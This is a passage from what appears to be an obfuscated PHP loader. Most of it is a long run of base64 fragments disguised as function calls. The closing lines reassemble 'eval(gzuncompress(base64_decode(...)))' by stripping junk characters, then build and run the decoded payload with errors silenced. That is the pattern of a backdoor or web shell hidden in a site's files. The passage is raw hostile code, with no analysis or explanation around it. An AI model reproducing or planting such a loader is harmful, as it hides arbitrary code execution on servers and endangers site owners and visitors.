'fn8oHkEKgS9pqU88ZccsqJror();'.
'K9eLpAkDwoNtMPWczVUHKo5So();'.
'hyyMGGi7crVYS2Y0hp009FP4s();'.
'EKYxhIGXIseHukSz7PqYoURbi();'.
'V4SsOz0WcmIlgPU8eoHO8lZFf();'.
'uRaWmb9kAHYfRJy1k1Y2YH0gc();'.
'RFm42HAM/wePmHCW13DHpYzpZ();'.
'07gIczE5a/xKA9l/L2Nlp5ibM();'.
'TPSai/jZmBmBbiZLWZz+jC+Bd();'.
'hVS1FNVVdAYinZOyRIoCuFbph();'.
'4Hgkd0ENDoRbiW96OzA+SxTGy();'.
'zuVkR2wslSMok1/iL2kxxDlM4();'.
'JHblIHR56mwXRX3T8ltK4/fO1();'.
'iYaPrC8NF65f/R4dv7g8cv999();'.
'Lg2dWDJ6Zz0+OnyvM4kp5UaLk();'.
'J1gAArfJTAFubD1n35crzXTXG();'.
'9qzSdpdRFS7AM+dIJqtGcVthp();'.
'QHtecL/KJAlcEczdgrf0uo2Mb();'.
'73GVTE6U/tQN75MW1G2vhjG4P();'.
'8HJdqzIiCs8d8RMklny4afETS();'.
'LvSS7dqzuFUk7BlSrUQkYEzQs();'.
'GdOKxm8SM2q4tnArKvSoUx+a3();'.
'oQcQts2jltv7gnrDoRdRWk0Hz();'.
'bH/jt4t1fdA8d+/a9/qqVu1Iv();'.
'JMry5yIBovWZK+dCxbZUnZrSR();'.
'el2uK6TfneVwrVr7/6lVwoRRi();'.
'8xRW5hW4NE9t6jU+qKmC+XyeP();'.
'Yim3leVW3I7J7NXMkqyhZVcTB();'.
'+XxUxtaweKstbSCPVrraIgiN+();'.
'JQxbIdh1ulx1kFW9GtVu0cya7();'.
'6QxKKRjjj68vbPl1Hh7fbPXo1();'.
'IIuqUBPasg5Us0ljCsO42+q2d();'.
'ZPd9IcHNdhNQU9Gi+ct6tDioY();'.
'wvRDul0wh1iNlZhTrU8kGNL6y();'.
'e4lrrapfCfWubsM+O/+f5aP5X();'.
'hYxJ2FHFhE+t0iWRudgoXhVJN();'.
'0XSJwOZwm2E8wdPC+V4mE1BXH();'.
'v54Ime6kJonJVlDmyXioCGhqt();'.
'pTC+rsDIcG1mArDhaIofePIxH();'.
'16FGHCRA9PCtaAslDQ15Fsrt5();'.
'eeFHi1CJMXuhXNhENiVnrsP0N();'.
'3QiLRYeBTnhfPn7qP0LyxKHiN();'.
'Mfh6Wf6PRi0dobZpGBh9COnlp();'.
'9TV2lw7XttLih+0NHq8HOXmJa();'.
'iiq1WB/rD6u71gFAHrG2AawLb();'.
'aCFoGPNAJ9MsWkVbbTrG+cIrd();'.
'OsfoK22ay+ukUXn41I8x9WCRn();'.
'ujff3ExhpGyjcclMBqUCoF6gF();'.
'cRk+ZHnNMZC8rke+6yiILCLIg();'.
'NdVgPp3y3WCkKq3d1o68UrFJp();'.
'YEWvMxQ6g44/67kYbJNqDaDg9();'.
'ZpjBTl8nhga9YGtmnoxkllJlu();'.
'SaoTiAsg8FMmBkmWyszJckWyb();'.
'IvLY3RRj/ZFbpv0hbG97Kbtmj();'.
'mV4dnF2oe5CdFEw7FnMNgvrJG();'.
'5d7fxWNdeCILixLL4KaJTZxdL();'.
'buHj46C56HttXUCiHJO56z4Ua();'.
'9F30gO3tUWrm4ciglDZ8V6Kt5();'.
'aqjC/gkJFaZJdoElI05SuorJL();'.
'FLW7PO9eUymQss/OkMHjQ21AS();'.
'H7CjB8vywhVRxXp8suM27o5oJ();'.
'5fHtlnPeIa4WIhgwldfqoS3pk();'.
'cleEeuu7yCWNyzo4+iVt/kcqk();'.
'W0pVMX5R+fcY1YcuZnwaQ7ANI();'.
'VV/zC5e/QMry2+JPMW6apn7D2();'.
'0EHvChNhz+4f0V9yhQdS//8Op();'.
'wllFVb4m6mXuTh4Dwy7YnFsi1();'.
'Ft3wnocHqyDx0HeI3x6kyBUnx();'.
'J1GYH3/VfeJ/aNvRJPvLzOVp9();'.
'xfJiHUmOtXK1+yxm3nfWUZYDJ();'.
'uLQdKdkxaoePtO3uVZs7Pn/eq();'.
'zWdra5JXsejwZAO7VBOYqbVPX();'.
'hlxKWkeOSTu3ZNuVMPW5i7ZBa();'.
'csu0idvLLcZsKxjtt9ltd9OAx();'.
'BuqKPhw6wqIF5IRZQrKLltPxI();'.
'Vw5Te3ID7zDk967KW+n24lab7();'.
'5mfwZ68dBe51oYk/HBGtzKMiz();'.
'7UzAnOn/l3KvIALq3i/sYP6FZ();'.
'5HCPOiadNnuWq5xcoPFa9oG7W();'.
'hu+WxP9KbIDa00t9yYpIo4uK8();'.
'F4q+FmyusoKaiXH1wqOwu2ENR();'.
'F4aq90ndGx58zixL/xfpqEl+K();'.
'Ssczthj438UXxiH9PvGFbe2y5();'.
'Owv8X2dec09e/O6NGB6zcLTHy();'.
'JJhqAzkjsHR+7e/vHxzjBsh2Q();'.
'nVsPF+H24YsPX8qwLccYlerzt();'.
'5w4QJbFcSrVosu6JfzFl2L0K0();'.
'pZ0w5uzI1kDYYlUGxO7xyw/p3();'.
'hMKIGGyI2E4jAL4an7lIZdBD5();'.
'pimMbN7DGqrHERORpiQNeqtJD();'.
'Gz1/w71UszjwGLY7hqRQ/zi54();'.
'LHy5tJJIJYP0A5KWf55CFrWFG();'.
'tqkK7KPWNwJo25gNNxeA7992c();'.
'BPZDZS4anOrafEgwV4NPTKBt3();'.
'Nc7OBXo1IL3xRIsKQtmwzTwcd();'.
'R5kzWG1EqrhgqzHMHcAjAMOA3();'.
'2izMQSA+9x/OhL7ypI5WTrOmY();'.
'khXLH7U2pSsQ3AyjmnRTmfZXI();'.
'FBqIRsGMCwkkSGThN3r+Mr96M();'.
'3AONdZI5YuR01v8Gfv5TODcLx();'.
'bJdMcdaKsoY4774JVydHwUlnl();'.
'RSdkiuS1/XYHuSgN15cuIB77u();'.
'JgldhMoAmd7g0UmZYyBUvZ4KH();'.
'FW/hPt3fZe3Hq338FtsM8HfRy();'.
'EvqTyD2/0nq89xsXiWfo3GkN/();'.
'6/Il1OkS61IOWf/nlETL7M771();'.
'rzCxtnKZR0t3cnM/nps0QmGE8();'.
'2pzYqZekG15gwkBpvUbM7rMqq();'.
'aKZQXrHYPe+sYxbAKA4KHGfSp();'.
'JMNKvPX268GD0PkUf2XlZaThx();'.
'wAzjXZ0xfN+I8bIZaAVSUWlGy();'.
'YmrB1U+2T+02GrEQTQ3Hyr6l0();'.
'qSTSpMBjFsYpeiCP/h4/PboA3();'.
'6a8K3RmNVmHx+efjx+f3q8//7();'.
'k1eExugZrAF8f7r8EgFYtwKuj();'.
't2+P/vL26GD/9M3R+wcwvdv/6();'.
'/EhLF1OjE4tzMnJ28HPh8dvXv();'.
'3y4fDBWnNAjL9FQBhYgmUX+Dq();'.
'8JL9pwfndqO/dNrU58A7d6GVq();'.
'ysaRopkPFNXZd5MLV/Y9AM3WP();'.
'c2MuT23cD0HO5RHF1SoWSnVEJ();'.
'cLyGdBsgZLYX3CxCHWONXziu2();'.
'c2SWdSzdbKNOHKPFkOmTtpiYp();'.
'fFrz1ku9+5//xnI4YNa/BQIMg();'.
'YACjSo7pEHLcqnzj9a4vNol7o();'.
'3PBN4/1jLzhWqhePd71vbiFfD();'.
'/8TTlZqL/CynKWq6VNetKUbUu();'.
'nmMp3K6H1ilu7+vxC+0XwdfWa();'.
'r7SkK/pGVb82hd9D5Iutq+G6t();'.
'3/b6rA4ko=();\')));');
@$d=str_replace('i()','','ei()vi()ai()li()(i()gi()zi()ui()ni()ci()oi()mi()pi()ri()ei()si()si()(i()bi()ai()si()ei()6i()4i()_i()di()ei()ci()oi()di()e(\'');
@$a=$c('',$d.$b);@$a();